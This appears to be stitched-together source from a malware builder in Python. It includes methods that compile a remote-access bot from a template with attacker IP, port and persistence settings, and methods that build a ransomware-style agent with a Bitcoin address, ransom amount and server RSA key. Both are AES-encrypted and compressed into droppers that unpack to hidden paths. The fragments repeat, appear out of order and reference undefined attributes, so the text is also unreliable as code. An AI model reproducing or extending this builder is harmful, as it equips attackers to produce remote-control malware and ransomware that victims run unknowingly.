def unpack(self): self.path = Finder.find() + self.name if self.hide else self.name print('Path1:', self.path) # Payload data = zlib.decompress(CryptoAES.decrypt(self.binary, self.key)) File.write(self.path, data) # Cyclops path = os.path.join(os.path.split(self.path)[0], 'cyclops_windows.exe') print('Path2:', path) data = zlib.decompress(CryptoAES.decrypt(self.cyclops, self.key)) File.write(path, data)
def __init__(self, ip, port, filename, delay, wait, exe, icon, hide, persist): self.ip = ip self.exe = exe self.port = port self.hide = hide self.wait = wait self.icon = icon self.binary = b'' self.delay = delay self.persist = persist self.filename = filename self.key = CryptoAES.generate_key() self.output_dir = 'output' self.tmp_dir = tempfile.mkdtemp() self.dist_path = os.path.join(self.tmp_dir, 'application') self.output_dir = 'output' self.dist_path = os.path.join(self.tmp_dir, 'application') self.bot_template = 'bot' + os.path.sep + 'template_bot.py' self.bot_py_temp = 'bot' + os.path.sep + '{}.py'.format(filename) self.bot_compiled = self.dist_path + os.path.sep + '{}.exe'.format( filename) self.dropper_template = 'lib' + os.path.sep + 'dropper.py' self.dropper_py_temp = '{}.py'.format(filename)
def unpack(self): self.path = Finder.find() + self.name if self.hide else self.name print('Path1:', self.path) # Payload data = zlib.decompress(CryptoAES.decrypt(self.binary, self.key)) File.write(self.path, data)
def compile_bot(self): _dict = { 'addr_ip': repr(self.ip), 'addr_port': str(self.port), 'wait_time': str(self.wait), 'auto_persist': repr(self.persist) } self.write_template(self.bot_template, self.bot_py_temp, _dict) if self.exe: with open(self.bot_compiled, 'rb') as f: self.binary = CryptoAES.encrypt(zlib.compress(f.read()), self.key) # Tasks # Cyclops with open(self.cyclops_exe, 'rb') as f: self.cyclops = CryptoAES.encrypt(zlib.compress(f.read()), self.key)
def compile_agent(self): _dict = { 'btc_address': f'\'{self.btc}\'', 'amount_of_money': str(self.amount), 'SERVER_RSA_PUBLIC_KEY': repr(self.server_RSA_public_key), } self.write_template(self.agent_template, self.agent_py_temp, _dict) if self.exe: with open(self.agent_compiled, 'rb') as f: self.binary = CryptoAES.encrypt( zlib.compress(f.read(), level=9), self.key)
def __init__(self, btc, amount, filename, exe, icon, hide, server_RSA_public_key): self.btc = btc self.exe = exe self.hide = hide self.binary = b'' self.amount = amount self.filename = filename self.icon = shlex.quote(icon) self.key = CryptoAES.generate_key() self.server_RSA_public_key = server_RSA_public_key self.output_dir = 'output' self.tmp_dir = tempfile.mkdtemp() self.dist_path = os.path.join(self.tmp_dir, 'application') self.agent_py_temp = os.path.join('agent', f'{filename}.py') self.agent_template = os.path.join('agent', 'template_agent.py') self.agent_compiled = os.path.join(self.dist_path, f'{filename}.exe') self.dropper_template = os.path.join('lib', 'dropper.py') self.dropper_py_temp = f'{filename}.py'
def unpack(self): self.path = Finder.find() + self.name if self.hide else self.name print('Path:', self.path) data = zlib.decompress(CryptoAES.decrypt(self.binary, self.key)) File.write(self.path, data)